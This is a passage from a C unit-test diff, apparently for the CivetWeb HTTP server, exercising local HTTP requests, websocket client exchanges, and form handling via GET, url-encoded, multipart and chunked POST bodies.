sizeof(buf)); + if ((i >= 0) && (i < (int)sizeof(buf))) { + while ((i > 0) && ((buf[i - 1] == '\r') || (buf[i - 1] == '\n'))) { + i--; + } + buf[i] = 0; + } + /* ck_assert_int_eq(i, (int)strlen(expected_cgi_result)); */ + ck_assert_str_eq(buf, expected_cgi_result); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); +#endif + +#else + (void)expected_cgi_result; + (void)cgi_script_content; +#endif + + /* Get directory listing */ + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET / HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); +#if defined(NO_FILES) + ck_assert_str_eq(ri->local_uri, "404"); +#else + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert(i > 6); + buf[6] = 0; + ck_assert_str_eq(buf, "<html>"); +#endif + mg_close_connection(client_conn); + + /* POST to static file (will not work) */ + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /test.txt HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); +#if defined(NO_FILES) + ck_assert_str_eq(ri->local_uri, "404"); +#else + ck_assert_str_eq(ri->local_uri, "405"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert(i >= 29); + buf[29] = 0; + ck_assert_str_eq(buf, "Error 405: Method Not Allowed"); +#endif + mg_close_connection(client_conn); + + /* PUT to static file (will not work) */ + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "PUT /test.txt HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); +#if defined(NO_FILES) + ck_assert_str_eq(ri->local_uri, "405"); /* method not allowed */ +#else + ck_assert_str_eq(ri->local_uri, "401"); /* not authorized */ +#endif + mg_close_connection(client_conn); + + + /* Get data from callback using mg_connect_client instead of mg_download */ + memset(ebuf, 0, sizeof(ebuf)); + client_conn = + mg_connect_client("127.0.0.1", ipv4_port, 0, ebuf, sizeof(ebuf)); + + ck_assert_str_eq(ebuf, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "%s", request); + + i = mg_get_response(client_conn, ebuf, sizeof(ebuf), 10000); + ck_assert_int_ge(i, 0); + ck_assert_str_eq(ebuf, ""); + + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + + /* Get data from callback using mg_connect_client and absolute URI */ + memset(ebuf, 0, sizeof(ebuf)); + client_conn = + mg_connect_client("localhost", ipv4_port, 0, ebuf, sizeof(ebuf)); + + ck_assert_str_eq(ebuf, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, + "GET http://test.domain:%d/U7 HTTP/1.0\r\n\r\n", + ipv4_port); + + i = mg_get_response(client_conn, ebuf, sizeof(ebuf), 10000); + ck_assert_int_ge(i, 0); + ck_assert_str_eq(ebuf, ""); + + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + + /* Get data from callback using mg_connect_client and absolute URI with a + * sub-domain */ + memset(ebuf, 0, sizeof(ebuf)); + client_conn = + mg_connect_client("localhost", ipv4_port, 0, ebuf, sizeof(ebuf)); + + ck_assert_str_eq(ebuf, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, + "GET http://subdomain.test.domain:%d/U7 HTTP/1.0\r\n\r\n", + ipv4_port); + + i = mg_get_response(client_conn, ebuf, sizeof(ebuf), 10000); + ck_assert_int_ge(i, 0); + ck_assert_str_eq(ebuf, ""); + + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + + +/* Websocket test */ +#ifdef USE_WEBSOCKET + /* Then connect a first client */ + ws_client1_conn = + mg_connect_websocket_client("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "/websocket", + NULL, + websocket_client_data_handler, + websocket_client_close_handler, + &ws_client1_data); + + ck_assert(ws_client1_conn != NULL); + + wait_not_null( + &(ws_client1_data.data)); /* Wait for the websocket welcome message */ + ck_assert_int_eq(ws_client1_data.closed, 0); + ck_assert_int_eq(ws_client2_data.closed, 0); + ck_assert_int_eq(ws_client3_data.closed, 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert_uint_eq(ws_client2_data.len, 0); + ck_assert(ws_client1_data.data != NULL); + ck_assert_uint_eq(ws_client1_data.len, websocket_welcome_msg_len); + ck_assert(!memcmp(ws_client1_data.data, + websocket_welcome_msg, + websocket_welcome_msg_len)); + free(ws_client1_data.data); + ws_client1_data.data = NULL; + ws_client1_data.len = 0; + + mg_websocket_client_write(ws_client1_conn, + WEBSOCKET_OPCODE_TEXT, + "data1", + 5); + + wait_not_null( + &(ws_client1_data + .data)); /* Wait for the websocket acknowledge message */ + ck_assert_int_eq(ws_client1_data.closed, 0); + ck_assert_int_eq(ws_client2_data.closed, 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert_uint_eq(ws_client2_data.len, 0); + ck_assert(ws_client1_data.data != NULL); + ck_assert_uint_eq(ws_client1_data.len, 3); + ck_assert(!memcmp(ws_client1_data.data, "ok1", 3)); + free(ws_client1_data.data); + ws_client1_data.data = NULL; + ws_client1_data.len = 0; + +/* Now connect a second client */ +#ifdef USE_IPV6 + ws_client2_conn = + mg_connect_websocket_client("[::1]", + ipv6_port, + 0, + ebuf, + sizeof(ebuf), + "/websocket", + NULL, + websocket_client_data_handler, + websocket_client_close_handler, + &ws_client2_data); +#else + ws_client2_conn = + mg_connect_websocket_client("127.0.0.1", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "/websocket", + NULL, + websocket_client_data_handler, + websocket_client_close_handler, + &ws_client2_data); +#endif + ck_assert(ws_client2_conn != NULL); + + wait_not_null( + &(ws_client2_data.data)); /* Wait for the websocket welcome message */ + ck_assert(ws_client1_data.closed == 0); + ck_assert(ws_client2_data.closed == 0); + ck_assert(ws_client1_data.data == NULL); + ck_assert(ws_client1_data.len == 0); + ck_assert(ws_client2_data.data != NULL); + ck_assert(ws_client2_data.len == websocket_welcome_msg_len); + ck_assert(!memcmp(ws_client2_data.data, + websocket_welcome_msg, + websocket_welcome_msg_len)); + free(ws_client2_data.data); + ws_client2_data.data = NULL; + ws_client2_data.len = 0; + + mg_websocket_client_write(ws_client1_conn, + WEBSOCKET_OPCODE_TEXT, + "data2", + 5); + + wait_not_null( + &(ws_client1_data + .data)); /* Wait for the websocket acknowledge message */ + + ck_assert(ws_client1_data.closed == 0); + ck_assert(ws_client2_data.closed == 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert(ws_client2_data.len == 0); + ck_assert(ws_client1_data.data != NULL); + ck_assert(ws_client1_data.len == 4); + ck_assert(!memcmp(ws_client1_data.data, "ok 2", 4)); + free(ws_client1_data.data); + ws_client1_data.data = NULL; + ws_client1_data.len = 0; + + mg_websocket_client_write(ws_client1_conn, WEBSOCKET_OPCODE_TEXT, "bye", 3); + + wait_not_null( + &(ws_client1_data.data)); /* Wait for the websocket goodbye message */ + + ck_assert(ws_client1_data.closed == 0); + ck_assert(ws_client2_data.closed == 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert(ws_client2_data.len == 0); + ck_assert(ws_client1_data.data != NULL); + ck_assert(ws_client1_data.len == websocket_goodbye_msg_len); + ck_assert(!memcmp(ws_client1_data.data, + websocket_goodbye_msg, + websocket_goodbye_msg_len)); + free(ws_client1_data.data); + ws_client1_data.data = NULL; + ws_client1_data.len = 0; + + ck_assert(ws_client1_data.closed == 0); /* Not closed */ + + mg_close_connection(ws_client1_conn); + + test_sleep(3); /* Won't get any message */ + + ck_assert(ws_client1_data.closed == 1); /* Closed */ + + ck_assert(ws_client2_data.closed == 0); + ck_assert(ws_client1_data.data == NULL); + ck_assert(ws_client1_data.len == 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert(ws_client2_data.len == 0); + + mg_websocket_client_write(ws_client2_conn, WEBSOCKET_OPCODE_TEXT, "bye", 3); + + wait_not_null( + &(ws_client2_data.data)); /* Wait for the websocket goodbye message */ + + ck_assert(ws_client1_data.closed == 1); + ck_assert(ws_client2_data.closed == 0); + ck_assert(ws_client1_data.data == NULL); + ck_assert(ws_client1_data.len == 0); + ck_assert(ws_client2_data.data != NULL); + ck_assert(ws_client2_data.len == websocket_goodbye_msg_len); + ck_assert(!memcmp(ws_client2_data.data, + websocket_goodbye_msg, + websocket_goodbye_msg_len)); + free(ws_client2_data.data); + ws_client2_data.data = NULL; + ws_client2_data.len = 0; + + mg_close_connection(ws_client2_conn); + + test_sleep(3); /* Won't get any message */ + + ck_assert(ws_client1_data.closed == 1); + ck_assert(ws_client2_data.closed == 1); + ck_assert(ws_client1_data.data == NULL); + ck_assert(ws_client1_data.len == 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert(ws_client2_data.len == 0); + + /* Connect client 3 */ + ws_client3_conn = + mg_connect_websocket_client("localhost", +#if defined(NO_SSL) + ipv4_port, + 0, +#else + ipv4s_port, + 1, +#endif + ebuf, + sizeof(ebuf), + "/websocket", + NULL, + websocket_client_data_handler, + websocket_client_close_handler, + &ws_client3_data); + + ck_assert(ws_client3_conn != NULL); + + wait_not_null( + &(ws_client3_data.data)); /* Wait for the websocket welcome message */ + ck_assert(ws_client1_data.closed == 1); + ck_assert(ws_client2_data.closed == 1); + ck_assert(ws_client3_data.closed == 0); + ck_assert(ws_client1_data.data == NULL); + ck_assert(ws_client1_data.len == 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert(ws_client2_data.len == 0); + ck_assert(ws_client3_data.data != NULL); + ck_assert(ws_client3_data.len == websocket_welcome_msg_len); + ck_assert(!memcmp(ws_client3_data.data, + websocket_welcome_msg, + websocket_welcome_msg_len)); + free(ws_client3_data.data); + ws_client3_data.data = NULL; + ws_client3_data.len = 0; + + /* Write long data (16 bit size header) */ + mg_websocket_client_write(ws_client3_conn, + WEBSOCKET_OPCODE_BINARY, + long_ws_buf, + long_ws_buf_len_16); + + /* Wait for the response */ + wait_not_null(&(ws_client3_data.data)); + + ck_assert_int_eq((int)ws_client3_data.len, (int)long_ws_buf_len_16); + ck_assert(!memcmp(ws_client3_data.data, long_ws_buf, long_ws_buf_len_16)); + free(ws_client3_data.data); + ws_client3_data.data = NULL; + ws_client3_data.len = 0; + + /* Write long data (64 bit size header) */ + mg_websocket_client_write(ws_client3_conn, + WEBSOCKET_OPCODE_BINARY, + long_ws_buf, + long_ws_buf_len_64); + + /* Wait for the response */ + wait_not_null(&(ws_client3_data.data)); + + ck_assert_int_eq((int)ws_client3_data.len, (int)long_ws_buf_len_64); + ck_assert(!memcmp(ws_client3_data.data, long_ws_buf, long_ws_buf_len_64)); + free(ws_client3_data.data); + ws_client3_data.data = NULL; + ws_client3_data.len = 0; + + /* Disconnect client 3 */ + ck_assert(ws_client3_data.closed == 0); + mg_close_connection(ws_client3_conn); + ck_assert(ws_client3_data.closed == 1); + + /* Connect client 4 */ + ws_client4_conn = + mg_connect_websocket_client("localhost", +#if defined(NO_SSL) + ipv4_port, + 0, +#else + ipv4s_port, + 1, +#endif + ebuf, + sizeof(ebuf), + "/websocket", + NULL, + websocket_client_data_handler, + websocket_client_close_handler, + &ws_client4_data); + + ck_assert(ws_client4_conn != NULL); + + wait_not_null( + &(ws_client4_data.data)); /* Wait for the websocket welcome message */ + ck_assert(ws_client1_data.closed == 1); + ck_assert(ws_client2_data.closed == 1); + ck_assert(ws_client3_data.closed == 1); + ck_assert(ws_client4_data.closed == 0); + ck_assert(ws_client4_data.data != NULL); + ck_assert(ws_client4_data.len == websocket_welcome_msg_len); + ck_assert(!memcmp(ws_client4_data.data, + websocket_welcome_msg, + websocket_welcome_msg_len)); + free(ws_client4_data.data); + ws_client4_data.data = NULL; + ws_client4_data.len = 0; + +/* stop the server without closing this connection */ + +#endif + + /* Close the server */ + g_ctx = NULL; + test_mg_stop(ctx); + mark_point(); + +#ifdef USE_WEBSOCKET + for (i = 0; i < 100; i++) { + test_sleep(1); + if (ws_client3_data.closed != 0) { + mark_point(); + break; + } + } + + ck_assert_int_eq(ws_client4_data.closed, 1); + + /* Free data in ws_client4_conn */ + mg_close_connection(ws_client4_conn); + +#endif + mark_point(); +} +END_TEST + + +static int g_field_found_return = -999; + +static int +field_found(const char *key, + const char *filename, + char *path, + size_t pathlen, + void *user_data) +{ + ck_assert_ptr_ne(key, NULL); + ck_assert_ptr_ne(filename, NULL); + ck_assert_ptr_ne(path, NULL); + ck_assert_uint_gt(pathlen, 128); + ck_assert_ptr_eq(user_data, (void *)&g_field_found_return); + + ck_assert((g_field_found_return == FORM_FIELD_STORAGE_GET) + || (g_field_found_return == FORM_FIELD_STORAGE_STORE) + || (g_field_found_return == FORM_FIELD_STORAGE_SKIP) + || (g_field_found_return == FORM_FIELD_STORAGE_ABORT)); + + ck_assert_str_ne(key, "dontread"); + + if (!strcmp(key, "break_field_handler")) { + return FORM_FIELD_STORAGE_ABORT; + } + if (!strcmp(key, "continue_field_handler")) { + return FORM_FIELD_STORAGE_SKIP; + } + + if (g_field_found_return == FORM_FIELD_STORAGE_STORE) { + strncpy(path, key, pathlen - 8); + strcat(path, ".txt"); + } + + mark_point(); + + return g_field_found_return; +} + + +static int g_field_step; + +static int +field_get(const char *key, + const char *value_untruncated, + size_t valuelen, + void *user_data) +{ + /* Copy the untruncated value, so string compare functions can be used. */ + /* The check unit test library does not have build in memcmp functions. */ + char *value = (char *)malloc(valuelen + 1); + ck_assert(value != NULL); + memcpy(value, value_untruncated, valuelen); + value[valuelen] = 0; + + ck_assert_ptr_eq(user_data, (void *)&g_field_found_return); + ck_assert_int_ge(g_field_step, 0); + + ++g_field_step; + switch (g_field_step) { + case 1: + ck_assert_str_eq(key, "textin"); + ck_assert_uint_eq(valuelen, 4); + ck_assert_str_eq(value, "text"); + break; + case 2: + ck_assert_str_eq(key, "passwordin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 3: + ck_assert_str_eq(key, "radio1"); + ck_assert_uint_eq(valuelen, 4); + ck_assert_str_eq(value, "val1"); + break; + case 4: + ck_assert_str_eq(key, "radio2"); + ck_assert_uint_eq(valuelen, 4); + ck_assert_str_eq(value, "val1"); + break; + case 5: + ck_assert_str_eq(key, "check1"); + ck_assert_uint_eq(valuelen, 4); + ck_assert_str_eq(value, "val1"); + break; + case 6: + ck_assert_str_eq(key, "numberin"); + ck_assert_uint_eq(valuelen, 1); + ck_assert_str_eq(value, "1"); + break; + case 7: + ck_assert_str_eq(key, "datein"); + ck_assert_uint_eq(valuelen, 8); + ck_assert_str_eq(value, "1.1.2016"); + break; + case 8: + ck_assert_str_eq(key, "colorin"); + ck_assert_uint_eq(valuelen, 7); + ck_assert_str_eq(value, "#80ff00"); + break; + case 9: + ck_assert_str_eq(key, "rangein"); + ck_assert_uint_eq(valuelen, 1); + ck_assert_str_eq(value, "3"); + break; + case 10: + ck_assert_str_eq(key, "monthin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 11: + ck_assert_str_eq(key, "weekin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 12: + ck_assert_str_eq(key, "timein"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 13: + ck_assert_str_eq(key, "datetimen"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 14: + ck_assert_str_eq(key, "datetimelocalin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 15: + ck_assert_str_eq(key, "emailin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 16: + ck_assert_str_eq(key, "searchin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 17: + ck_assert_str_eq(key, "telin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 18: + ck_assert_str_eq(key, "urlin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 19: + ck_assert_str_eq(key, "filein"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 20: + ck_assert_str_eq(key, "filesin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 21: + ck_assert_str_eq(key, "selectin"); + ck_assert_uint_eq(valuelen, 4); + ck_assert_str_eq(value, "opt1"); + break; + case 22: + ck_assert_str_eq(key, "message"); + ck_assert_uint_eq(valuelen, 23); + ck_assert_str_eq(value, "Text area default text."); + break; + default: + ck_abort_msg("field_get called with g_field_step == %i", + (int)g_field_step); + } + + free(value); + mark_point(); + + return 0; +} + + +static const char *myfile_content = "Content of myfile.txt\r\n"; +static const int myfile_content_rep = 500; + + +static int +field_store(const char *path, long long file_size, void *user_data) +{ + FILE *f; + ck_assert_ptr_eq(user_data, (void *)&g_field_found_return); + ck_assert_int_ge(g_field_step, 100); + + ++g_field_step; + switch (g_field_step) { + case 101: + ck_assert_str_eq(path, "storeme.txt"); + ck_assert_int_eq(file_size, 9); + f = fopen(path, "r"); + ck_assert_ptr_ne(f, NULL); + if (f) { + char buf[32] = {0}; + int i = (int)fread(buf, 1, 31, f); + ck_assert_int_eq(i, 9); + fclose(f); + ck_assert_str_eq(buf, "storetest"); + } + break; + case 102: + ck_assert_str_eq(path, "file2store.txt"); + ck_assert_uint_eq(23, strlen(myfile_content)); + ck_assert_int_eq(file_size, 23 * myfile_content_rep); +#ifdef _WIN32 + f = fopen(path, "rb"); +#else + f = fopen(path, "r"); +#endif + ck_assert_ptr_ne(f, NULL); + if (f) { + char buf[32] = {0}; + int r, i; + for (r = 0; r < myfile_content_rep; r++) { + i = (int)fread(buf, 1, 23, f); + ck_assert_int_eq(i, 23); + ck_assert_str_eq(buf, myfile_content); + } + i = (int)fread(buf, 1, 23, f); + ck_assert_int_eq(i, 0); + fclose(f); + } + break; + default: + ck_abort_msg("field_get called with g_field_step == %i", + (int)g_field_step); + } + mark_point(); + + return 0; +} + + +static int +FormGet(struct mg_connection *conn, void *cbdata) +{ + const struct mg_request_info *req_info = mg_get_request_info(conn); + int ret; + struct mg_form_data_handler fdh = {field_found, field_get, NULL, NULL}; + + (void)cbdata; + + ck_assert(req_info != NULL); + + mg_printf(conn, "HTTP/1.0 200 OK\r\nContent-Type: text/plain\r\n\r\n"); + fdh.user_data = (void *)&g_field_found_return; + + /* Call the form handler */ + g_field_step = 0; + g_field_found_return = FORM_FIELD_STORAGE_GET; + ret = mg_handle_form_request(conn, &fdh); + g_field_found_return = -888; + ck_assert_int_eq(ret, 22); + ck_assert_int_eq(g_field_step, 22); + mg_printf(conn, "%i\r\n", ret); + g_field_step = 1000; + + mark_point(); + + return 1; +} + + +static int +FormStore(struct mg_connection *conn, + void *cbdata, + int ret_expected, + int field_step_expected) +{ + const struct mg_request_info *req_info = mg_get_request_info(conn); + int ret; + struct mg_form_data_handler fdh = {field_found, + field_get, + field_store, + NULL}; + + (void)cbdata; + + ck_assert(req_info != NULL); + + mg_printf(conn, "HTTP/1.0 200 OK\r\nContent-Type: text/plain\r\n\r\n"); + fdh.user_data = (void *)&g_field_found_return; + + /* Call the form handler */ + g_field_step = 100; + g_field_found_return = FORM_FIELD_STORAGE_STORE; + ret = mg_handle_form_request(conn, &fdh); + ck_assert_int_eq(ret, ret_expected); + ck_assert_int_eq(g_field_step, field_step_expected); + mg_printf(conn, "%i\r\n", ret); + g_field_step = 1000; + + mark_point(); + + return 1; +} + + +static int +FormStore1(struct mg_connection *conn, void *cbdata) +{ + mark_point(); + return FormStore(conn, cbdata, 3, 101); +} + + +static int +FormStore2(struct mg_connection *conn, void *cbdata) +{ + mark_point(); + return FormStore(conn, cbdata, 4, 102); +} + + +static void +send_chunk_stringl(struct mg_connection *conn, + const char *chunk, + unsigned int chunk_len) +{ + char lenbuf[16]; + size_t lenbuf_len; + int ret; + + mark_point(); + + /* First store the length information in a text buffer. */ + sprintf(lenbuf, "%x\r\n", chunk_len); + lenbuf_len = strlen(lenbuf); + + /* Then send length information, chunk and terminating \r\n. */ + ret = mg_write(conn, lenbuf, lenbuf_len); + ck_assert_int_eq(ret, (int)lenbuf_len); + + ret = mg_write(conn, chunk, chunk_len); + ck_assert_int_eq(ret, (int)chunk_len); + + ret = mg_write(conn, "\r\n", 2); + ck_assert_int_eq(ret, 2); +} + + +static void +send_chunk_string(struct mg_connection *conn, const char *chunk) +{ + mark_point(); + send_chunk_stringl(conn, chunk, (unsigned int)strlen(chunk)); + mark_point(); +} + + +START_TEST(test_handle_form) +{ + struct mg_context *ctx; + struct mg_connection *client_conn; + const struct mg_request_info *ri; + const char *OPTIONS[8]; + const char *opt; + int opt_idx = 0; + char ebuf[100]; + const char *multipart_body; + const char *boundary; + size_t body_len, body_sent, chunk_len; + int sleep_cnt; + + mark_point(); + + memset((void *)OPTIONS, 0, sizeof(OPTIONS)); + OPTIONS[opt_idx++] = "listening_ports"; + OPTIONS[opt_idx++] = "8884"; + ck_assert_int_le(opt_idx, (int)(sizeof(OPTIONS) / sizeof(OPTIONS[0]))); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 1] == NULL); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 2] == NULL); + + ctx = test_mg_start(NULL, &g_ctx, OPTIONS); + + ck_assert(ctx != NULL); + g_ctx = ctx; + + opt = mg_get_option(ctx, "listening_ports"); + ck_assert_str_eq(opt, "8884"); + + mg_set_request_handler(ctx, "/handle_form", FormGet, NULL); + mg_set_request_handler(ctx, "/handle_form_store", FormStore1, NULL); + mg_set_request_handler(ctx, "/handle_form_store2", FormStore2, NULL); + + test_sleep(1); + + /* Handle form: "GET" */ + client_conn = mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /handle_form" + "?textin=text&passwordin=&radio1=val1" + "&radio2=val1&check1=val1&numberin=1" + "&datein=1.1.2016&colorin=%2380ff00" + "&rangein=3&monthin=&weekin=&timein=" + "&datetimen=&datetimelocalin=&emailin=" + "&searchin=&telin=&urlin=&filein=" + "&filesin=&selectin=opt1" + "&message=Text+area+default+text. " + "HTTP/1.0\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n\r\n"); + ck_assert(client_conn != NULL); + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + /* Handle form: "POST x-www-form-urlencoded" */ + client_conn = + mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /handle_form HTTP/1.1\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" + "Content-Length: 263\r\n" + "\r\n" + "textin=text&passwordin=&radio1=val1&radio2=val1" + "&check1=val1&numberin=1&datein=1.1.2016" + "&colorin=%2380ff00&rangein=3&monthin=&weekin=" + "&timein=&datetimen=&datetimelocalin=&emailin=" + "&searchin=&telin=&urlin=&filein=&filesin=" + "&selectin=opt1&message=Text+area+default+text."); + ck_assert(client_conn != NULL); + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + /* Handle form: "POST multipart/form-data" */ + multipart_body = + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"textin\"\r\n" + "\r\n" + "text\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"passwordin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"radio1\"\r\n" + "\r\n" + "val1\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=radio2\r\n" + "\r\n" + "val1\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"check1\"\r\n" + "\r\n" + "val1\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"numberin\"\r\n" + "\r\n" + "1\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"datein\"\r\n" + "\r\n" + "1.1.2016\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"colorin\"\r\n" + "\r\n" + "#80ff00\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"rangein\"\r\n" + "\r\n" + "3\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"monthin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"weekin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"timein\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"datetimen\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"datetimelocalin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"emailin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"searchin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"telin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"urlin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"filein\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=filesin; filename=\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"selectin\"\r\n" + "\r\n" + "opt1\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"message\"\r\n" + "\r\n" + "Text area default text.\r\n" + "--multipart-form-data-boundary--see-RFC-2388--\r\n"; + body_len = strlen(multipart_body); + ck_assert_uint_eq(body_len, 2368); /* not required */ + + client_conn = + mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "POST /handle_form HTTP/1.1\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: multipart/form-data; " + "boundary=multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Length: %u\r\n" + "\r\n%s", + (unsigned int)body_len, + multipart_body); + + ck_assert(client_conn != NULL); + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + + /* Handle form: "POST multipart/form-data" with chunked transfer encoding */ + client_conn = + mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /handle_form HTTP/1.1\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: multipart/form-data; " + "boundary=multipart-form-data-boundary--see-RFC-2388\r\n" + "Transfer-Encoding: chunked\r\n" + "\r\n"); + + ck_assert(client_conn != NULL); + + body_len = strlen(multipart_body); + chunk_len = 1; + body_sent = 0; + while (body_len > body_sent) { + if (chunk_len > (body_len - body_sent)) { + chunk_len = body_len - body_sent; + } + ck_assert_int_gt((int)chunk_len, 0); + mg_printf(client_conn, "%x\r\n", (unsigned int)chunk_len); + mg_write(client_conn, multipart_body + body_sent, chunk_len); + mg_printf(client_conn, "\r\n"); + body_sent += chunk_len; + chunk_len = (chunk_len % 40) + 1; + } + mg_printf(client_conn, "0\r\n"); + + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + 